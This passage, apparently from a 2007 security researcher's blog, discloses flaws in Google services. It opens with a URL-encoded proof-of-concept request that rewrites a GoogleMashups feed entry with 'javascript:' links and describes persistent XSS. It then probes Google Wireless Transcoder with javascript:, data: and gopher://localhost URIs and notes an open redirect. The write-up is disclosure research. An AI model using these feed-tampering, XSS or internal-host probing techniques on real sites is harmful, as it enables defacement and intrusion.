6d%2f%70%68%6f%74%6f%73%2f%65%78%69%66%2f%32%30%30%37%3d%65%78%69%66%22%20%78%6d%6c%6e%73%3a%67%6d%73%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%67%6d%73%2f%32%30%30%37%22%20%78%6d%6c%6e%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%35%2f%41%74%6f%6d%22%3e%0d%0a%3c%69%64%3e%68%74%74%70%3a%2f%2f%67%61%6c%6c%65%72%79%2e%67%6f%6f%67%6c%65%6d%61%73%68%75%70%73%2e%63%6f%6d%2f%66%65%65%64%73%2f%61%70%70%2f%67%61%6c%6c%65%72%79%41%70%70%73%2f%31%3c%2f%69%64%3e%0d%0a%3c%70%75%62%6c%69%73%68%65%64%3e%32%30%30%37%2d%30%39%2d%30%38%54%30%30%3a%31%39%3a%34%38%2e%36%32%35%5a%3c%2f%70%75%62%6c%69%73%68%65%64%3e%0d%0a%3c%75%70%64%61%74%65%64%3e%32%30%30%37%2d%30%39%2d%30%38%54%30%30%3a%31%39%3a%34%38%2e%36%32%35%5a%3c%2f%75%70%64%61%74%65%64%3e%0d%0a%3c%74%69%74%6c%65%20%74%79%70%65%3d%22%74%65%78%74%22%3e%4d%4f%44%49%46%49%45%44%21%21%21%21%21%21%21%21%21%21%21%21%3c%2f%74%69%74%6c%65%3e%0d%0a%3c%63%6f%6e%74%65%6e%74%20%74%79%70%65%3d%22%74%65%78%74%22%3e%4d%4f%44%49%46%49%45%44%21%21%21%21%21%21%21%21%21%21%21%3c%2f%63%6f%6e%74%65%6e%74%3e%0d%0a%3c%6c%69%6e%6b%20%72%65%6c%3d%22%73%65%6c%66%22%20%74%79%70%65%3d%22%61%70%70%6c%69%63%61%74%69%6f%6e%2f%61%74%6f%6d%20%78%6d%6c%22%20%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%31%2e%31%2e%74%65%73%74%2d%63%32%62%61%34%61%39%39%36%35%35%36%39%31%65%61%2e%67%6f%6f%67%6c%65%6d%61%73%68%75%70%73%2e%63%6f%6d%2f%66%65%65%64%73%2f%61%70%70%2f%67%61%6c%6c%65%72%79%41%70%70%73%2f%31%22%2f%3e%0d%0a%3c%6c%69%6e%6b%20%72%65%6c%3d%22%65%64%69%74%22%20%74%79%70%65%3d%22%61%70%70%6c%69%63%61%74%69%6f%6e%2f%61%74%6f%6d%20%78%6d%6c%22%20%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%31%2e%31%2e%74%65%73%74%2d%63%32%62%61%34%61%39%39%36%35%35%36%39%31%65%61%2e%67%6f%6f%67%6c%65%6d%61%73%68%75%70%73%2e%63%6f%6d%2f%66%65%65%64%73%2f%61%70%70%2f%67%61%6c%6c%65%72%79%41%70%70%73%2f%31%2f%30%22%2f%3e%0d%0a%3c%67%64%3a%61%70%70%4c%69%6e%6b%3e%6a%61%76%61%73%63%72%69%70%74%3a%61%6c%65%72%74%28%27%47%6f%6f%67%6c%65%4d%61%73%68%75%70%73%20%64%65%73%69%67%6e%20%65%72%72%6f%72%3f%27%29%3b%3c%2f%67%64%3a%61%70%70%4c%69%6e%6b%3e%0d%0a%3c%67%64%3a%69%6d%67%55%52%4c%3e%6a%61%76%61%73%63%72%69%70%74%3a%61%6c%65%72%74%28%27%47%6f%6f%67%6c%65%4d%61%73%68%75%70%73%20%64%65%73%69%67%6e%20%65%72%72%6f%72%3f%27%29%3b%3c%2f%67%64%3a%69%6d%67%55%52%4c%3e%0d%0a%3c%67%6d%64%3a%61%75%74%68%6f%72%3e%4d%4f%44%49%46%49%45%44%21%21%21%21%21%21%21%21%21%21%3c%2f%67%6d%64%3a%61%75%74%68%6f%72%3e%0d%0a%3c%2f%61%74%6f%6d%3a%65%6e%74%72%79%3e"));
onreadystatechange=function(){
if(readyState==4){
alert(responseText);
}
}
}

you can get the X-Gm-Validate token, by sniffing your connection, the modification of the feeds, doesnt require validation of any type.

Well, that's the first part..
with this information you can modify the content of any item on the feed, but that's not all.
the information passed are not validated at all! so by means of..
link=blah">XSS

I could do a persistent XSS attack, this could completely destroy the project, make a deface or anything.

If you need me to explain further please tell me.

---

Well, actually there's also another XSS vulnerability in some other services, anyway, they are on their way of fixing them.. so I won't disclose them here (yet).

Google teachs security basics

It's rather simple.. and it deals with vulns at the "server level" (no sqli, rfi, xss, etc..) anyway..

http://code.google.com/edu/content/submissions/web_security/listing.html

Lectures

• Web Security Lecture #1
• Web Security Lecture #2

Coding Projects

• Programming Problem Set

It has 2 slide shows and 1 problem set.

Thanks to crack_x for showing me the code.google.com/edu site.

Discuss here: http://sla.ckers.org/forum/read.php?13,14409

Playing with Google Wireless Transcoder

Last Week, I found Google Wireless Transcoder, and I started playing with it trying to find a XSS bug in the HTML "transcoder", and I shared it with Ronald, RSnake, and .mario.
What the Google Wireless Transcoder does, is pretty simple, it get's HTML code, and translate's it into XHTML mobile compilant code.
The way it works is a little mysterious (it's made in Java b.t.w.).. It could be something similar to HTML Purifier (this was pointed out by .mario), but I would say, that it works as a server-side browser, that generates valid XHTML code reconstructing the DOM.. (which in fact is not very difficult to do).. I think this because there are some errors very similar to other Java browsers, like jrex.. or jakarta (the GWT supports ftp:// gopher:// http:// between others..) for example:

• http://www.google.com/gwt/n?u=a:@
• Host name may not be null
  

This is an exception generated by this code:

http://jakarta.apache.org/commons/httpclient/xref/org/apache/commons/httpclient/HttpHost.html

So this makes me believe that they (at least) use HttpHost.java
They also use BASE64DecoderStream.java

Any way, there are some other errors like this one:

• http://www.googlr.com/gwt/n?u=javascript:123
• XML Parsing Error: no element found
  

This is an exception generated by Firefox, because GWT returned invalid XHTML.. this is interesting, because it demonstrates that in some way, the GWT supports javascript URI.
(this website is googlr.com, that is a mirror of google.com, for avoiding the session generated at google.com).

We can also see that GWT, can be used as a "redirector", like:
http://www.google.com/gwt/n?u=http://www.vidoblog.net/ip/&_gwt_pg=orig

note the _gwt_pg

We can also temporarily host images, we just need to enter any website that contains images, (like google.com).
http://www.google.com/gwt/n?u=www.google.com
and the logo, will have an url simillar to:
http://www.google.com/gwt/i?i=01F8441E4_F9610322_4DB7F91D

Another interesing thing that RSnake pointed out is that, this "internal proxy's" are "logically
separated from their internal addresses." Any way, I found very interesting that:

http://www.google.com/gwt/n?u=gopher://local.sirdarckcat.net
http://www.google.com/gwt/n?u=gopher://unexistent

returns something different to:

http://www.google.com/gwt/n?u=gopher://127.0.0.1
http://www.google.com/gwt/n?u=gopher://localhost
http://www.google.com/gwt/n?u=gopher://localhostABCD

Even do local.sirdarckcat.net, and localhost (supposedly) point's to 127.0.0.1, but localhostABCD doesn't. why.. gopher://unexistent is different to gopher://localhostABCD ? maybe it's a way to avoid an attacker to contact 127.0.0.1..

We could try to enumerate the "alive" hosts with local.sirdarckcat.net:port#, but as far as I tested, all ports return's the same.

Something else that was discovered was that GWT parses data URIs.

http://www.google.com/gwt/n?u=data:text/html;base64,PGh0bWw%2BDQo8aGVhZD4NCjx0aXRsZT5IZWxsbyBXb3JsZDwvdGl0bGU%2BDQo8L2hlYWQ%2BDQo8Ym9keT4NCkczDQo8L2JvZHk%2BDQo8L2h0bWw%2B

pretty amazing it's the first web-proxy (I've seen) that actually parses them..

For ending, I think that GWT is a great tool, has a lot of features (some of them hidden to naive eyes). I think this should be investigated more deeply, (for example the impact of using GWT as a SEO technique, to use GWT pagerank as an inbound link to your site).

Greetz!!